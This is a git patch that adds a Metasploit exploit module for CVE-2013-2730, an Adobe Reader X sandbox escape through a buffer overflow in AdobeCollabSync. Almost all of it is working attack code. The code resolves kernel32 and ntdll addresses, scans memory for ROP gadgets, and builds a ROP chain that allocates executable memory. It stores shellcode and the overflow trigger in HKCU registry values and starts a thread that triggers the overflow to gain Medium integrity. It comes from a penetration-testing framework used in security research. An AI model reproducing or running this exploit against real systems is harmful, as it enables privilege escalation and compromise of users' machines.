From 85ceaa1a622a08b729cd8503efed1001307a4707 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 18 May 2013 12:44:24 -0500 Subject: [PATCH] Add module for CVE-2013-2730 --- .../local/adobe_sandbox_adobecollabsync.rb | 364 ++++++++++++++++++ 1 file changed, 364 insertions(+) create mode 100644 modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb diff --git a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb new file mode 100644 index 0000000000..de33098531 --- /dev/null +++ b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb @@ -0,0 +1,364 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/windows/registry' +require 'msf/core/post/common' +require 'msf/core/post/file' + +class Metasploit3 < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Exploit::EXE + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass', + 'Description' => %q{ + This module exploits a vulnerability on Adobe Reader X Sandbox. The + vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe + process to write register values which can be used to trigger a buffer overflow on + the AdobeCollabSync component, allowing to achieve Medium Integrity Level + privileges from a Low Integrity AcroRd32.exe process. This module has been tested + successfully on Adobe Reader X 10.1.4 over Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Felipe Andres Manzano', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-2730' ], + [ 'OSVDB', '93355' ], + [ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ] + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => 'meterpreter', + 'Payload' => + { + 'Space' => 12288, + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'Adobe Reader X 10.1.4 / Windows 7 SP1', + { + 'AdobeCollabSyncTrigger' => 0x18fa0, + 'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF" + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate'=> 'May 14 2013' + })) + + end + + def on_new_session + print_status("Deleting Malicious Registry Keys...") + if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode") + print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself") + end + if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB") + print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself") + end + print_status("Cleanup finished") + end + + # Test the process integrity level by trying to create a directory on the TEMP folder + # Access should be granted with Medium Integrity Level + # Access should be denied with Low Integrity Level + # Usint this solution atm because I'm experiencing problems with railgun when trying + # use GetTokenInformation + def low_integrity_level? + tmp_dir = expand_path("%TEMP%") + cd(tmp_dir) + new_dir = "#{rand_text_alpha(5)}" + begin + session.shell_command_token("mkdir #{new_dir}") + rescue + return true + end + + if directory?(new_dir) + session.shell_command_token("rmdir #{new_dir}") + return false + else + return true + end + end + + def check_trigger + signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length) + if signature == target['AdobeCollabSyncTriggerSignature'] + return true + end + return false + end + + def collect_addresses + # find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe + @addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'] + vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}") + + # find kernel32.dll + kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll") + @addresses['kernel32.dll'] = kernel32["return"] + if @addresses['kernel32.dll'] == 0 + fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll") + end + vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}") + + # find kernel32.dll methods + virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc") + @addresses['VirtualAlloc'] = virtual_alloc["return"] + if @addresses['VirtualAlloc'] == 0 + fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc") + end + vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}") + + reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA") + @addresses['RegGetValueA'] = reg_get_value["return"] + if @addresses['RegGetValueA'] == 0 + fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA") + end + vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}") + + # find ntdll.dll + ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll") + @addresses['ntdll.dll'] = ntdll["return"] + if @addresses['ntdll.dll'] == 0 + fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll") + end + vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}") + end + + # Search a gadget identified by pattern on the process memory + def search_gadget(base, offset_start, offset_end, pattern) + mem = base + offset_start + length = offset_end - offset_start + mem_contents = session.railgun.memread(mem, length) + return mem_contents.index(pattern) + end + + # Search for gadgets on ntdll.dll + def search_gadgets + ntdll_text_base = 0x10000 + search_length = 0xd6000 + + @gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3") + if @gadgets['mov [edi], ecx # ret'].nil? + fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'") + end + @gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll'] + @gadgets['mov [edi], ecx # ret'] += ntdll_text_base + vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}") + + @gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2 + vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}") + + @gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3") + if @gadgets['pop edi # ret'].nil? + fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'") + end + @gadgets['pop edi # ret'] += @addresses['ntdll.dll'] + @gadgets['pop edi # ret'] += ntdll_text_base + vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}") + + @gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3") + if @gadgets['pop ecx # ret'].nil? + fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'") + end + @gadgets['pop ecx # ret'] += @addresses['ntdll.dll'] + @gadgets['pop ecx # ret'] += ntdll_text_base + vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}") + end + + def create_rop_chain + mem = 0x0c0c0c0c + + buf = [0x58000000 + 1].pack("V") + buf << [0x58000000 + 2].pack("V") + buf << [0].pack("V") + buf << [0x58000000 + 4].pack("V") + + buf << [0x58000000 + 5].pack("V") + buf << [0x58000000 + 6].pack("V") + buf << [0x58000000 + 7].pack("V") + buf << [@gadgets['ret']].pack("V") + buf << rand_text(8) + + # Allocate Memory To store the shellcode and the necessary data to read the + # shellcode stored in the registry + buf << [@addresses['VirtualAlloc']].pack("V") + buf << [@gadgets['ret']].pack("V") + buf << [mem].pack("V") # lpAddress + buf << [0x00010000].pack("V") # SIZE_T dwSize + buf << [0x00003000].pack("V") # DWORD flAllocationType + buf << [0x00000040].pack("V") # flProtect + + # Put in the allocated memory the necessary data in order to read the + # shellcode stored in the registry + # The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions + # The reg entry: shellcode + # The output buffer size: 0x3000 + reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00" + j = 0 + while (j < reg_key.length) + buf << [@gadgets['pop edi # ret']].pack("V") + buf << [mem + j].pack("V") # edi + buf << [@gadgets['pop ecx # ret']].pack("V") + buf << reg_key[j, 4].ljust(4,"\x00") # ecx + buf << [@gadgets['mov [edi], ecx # ret']].pack("V") + j = j + 4 + end + k = j + value_key = "shellcode\x00" + j = 0 + while (j < value_key.length) + buf << [@gadgets['pop edi # ret']].pack("V") + buf << [mem + k + j].pack("V") # edi + buf << [@gadgets['pop ecx # ret']].pack("V") + buf << value_key[j, 4].ljust(4,"\x00") # ecx + buf << [@gadgets['mov [edi], ecx # ret']].pack("V") + j = j + 4 + end + + size_buffer = 0x3000 + buf << [@gadgets['pop edi # ret']].pack("V") + buf << [mem + 0x50].pack("V") # edi + buf << [@gadgets['pop ecx # ret']].pack("V") + buf << [size_buffer].pack("V") # ecx + buf << [@gadgets['mov [edi], ecx # ret']].pack("V") + + # Copy the shellcode from the the registry to the + # memory allocated with executable permissions and + # ret into there + buf << [@addresses['RegGetValueA']].pack("V") + buf << [mem + 0x1000].pack("V") # ret to shellcode + buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER + buf << [mem].pack("V") # lpSubKey + buf << [mem + 0x3c].pack("V") # lpValue + buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY + buf << [0].pack("V") # pdwType + buf << [mem + 0x1000].pack("V") # pvData + buf << [mem + 0x50].pack("V") # pcbData + end + + # Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry + def store_data_registry(buf) + vprint_status("Creating the Registry Key to store the shellcode...") + + if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode") + vprint_good("Registry Key created") + else + fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode") + end + + vprint_status("Storing the shellcode in the Registry...") + + if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY") + vprint_good("Shellcode stored") + else + fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry") + end + + # Create the Malicious registry entry in order to exploit.... + vprint_status("Creating the Registry Key to trigger the Overflow...") + if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB") + vprint_good("Registry Key created") + else + fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow") + end + + vprint_status("Storing the trigger in the Registry...") + if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY") + vprint_good("Trigger stored") + else + fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry") + end + end + + def trigger_overflow + vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...") + # Create a thread in order to execute the necessary code to launch AdobeCollabSync + ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil) + if ret['return'] < 1 + print_error("Unable to CreateThread") + return + end + hthread = ret['return'] + + vprint_status("Resuming the Thread...") + # Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability! + ret = client.railgun.kernel32.ResumeThread(hthread) + if ret['return'] < 1 + fail_with(Exploit::Failure::Unknown, "Unable to ResumeThread") + end + end + + def check + @addresses = {} + acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe") + @addresses['AcroRd32.exe'] = acrord32["return"] + if @addresses['AcroRd32.exe'] == 0 + return Msf::Exploit::CheckCode::Unknown + elsif check_trigger + return Msf::Exploit::CheckCode::Vulnerable + else + return Msf::Exploit::CheckCode::Detected + end + end + + def exploit + @addresses = {} + @gadgets = {} + + print_status("Verifying we're in the correct target process...") + acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe") + @addresses['AcroRd32.exe'] = acrord32["return"] + if @addresses['AcroRd32.exe'] == 0 + fail_with(Exploit::Failure::NoTarget, "AcroRd32.exe process not found") + end + vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}") + + print_status("Checking the AcroRd32.exe image...") + if not check_trigger + fail_with(Exploit::Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target") + end + + print_status("Checking the Process Integrity Level...") + if not low_integrity_level? + fail_with(Exploit::Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level") + end + + print_status("Collecting necessary addresses for exploit...") + collect_addresses + + print_status("Searching the gadgets needed to build the ROP chain...") + search_gadgets + print_good("Gadgets collected...") + + print_status("Building the ROP chain...") + buf = create_rop_chain + print_good("ROP chain ready...") + + print_status("Storing the shellcode and the trigger in the Registry...") + store_data_registry(buf) + + print_status("Executing AdobeCollabSync.exe...") + trigger_overflow + end +end +